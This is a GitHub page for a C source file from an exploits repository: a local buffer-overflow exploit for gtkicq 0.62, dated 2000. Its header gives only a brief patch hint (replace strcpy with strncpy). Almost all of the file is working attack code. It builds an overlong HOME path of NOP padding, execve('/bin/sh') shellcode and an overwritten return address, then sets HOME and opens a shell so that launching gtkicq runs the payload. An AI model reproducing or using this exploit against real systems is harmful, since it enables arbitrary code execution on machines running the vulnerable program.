forked from ProjectZeroDays/Exploits2
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathgtkicq.c
executable file
·94 lines (87 loc) · 2.49 KB
/
gtkicq.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
/**
*** gtkicq-0.62 sploit
***
*** overflow : "HOME" environment variable
*** from file : util.c & rcfile.c
*** patch : exchange all strcpy by strncpy ;)
*** - don't trust environment variable
*** launch a shell.
***
*** Usage : ./a.out [offset]
*** then run gtkicq
**/
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define NOP '\x90'
#define OFFSET 256
char shellcode[] =
"\xeb\x1f" /* jmp <end> */
/* <start>: */
"\x5e" /* pop %esi */
"\x31\xc0" /* xor %eax,%eax */
"\x88\x46\x07" /* mov %al,0x7(%esi) */
"\x89\x76\x08" /* mov %esi,0x8(%esi) */
"\x89\x46\x0c" /* mov %eax,0xc(%esi) */
"\xb0\x0b" /* mov $0xb,%al */
"\x89\xf3" /* mov %esi,%ebx */
"\x8d\x4e\x08" /* lea 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* lea 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xor %ebx,%ebx */
"\x31\xc0" /* xor %eax,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
/* <end>: */
"\xe8\xdc\xff\xff\xff"; /* call 804819d <start> */
unsigned long get_sp()
{
asm("movl %esp, %eax");
}
extern char **environ;
int main(int argc, char **argv)
{
unsigned long *lptr;
unsigned long retaddr;
char *str;
char home[300];
int i;
int offset;
char *cmd[2];
bzero(home, 300);
strcpy(home, "/tmp/X");
for(i = 6; i < 211; i++)
home[i] = NOP;
strcat(home, shellcode);
mkdir(home, 0755);
strcat(home, "/bin");
mkdir(home, 0755);
strcat(home, "/sh");
mkdir(home, 0755);
if(argc > 1)
offset = atoi(argv[1]);
else
offset = OFFSET;
retaddr = get_sp() - offset;
lptr = (unsigned long *) &home[256];
*lptr = retaddr;
lptr = (unsigned long *) &home[260];
*lptr = retaddr;
mkdir(home, 0755);
setenv("HOME", home, 1);
strcat(home, "/.icq");
mkdir(home, 0755);
strcat(home, "/gtkicqrc");
i = open(home, O_CREAT|O_WRONLY, 0644);
close(i);
cmd[0] = "/bin/sh";
cmd[1] = 0;
puts("run gtkicq from this shell.");
execve(cmd[0], cmd, environ);
return 0;
}
/* www.hack.co.za [7 August 2000]*/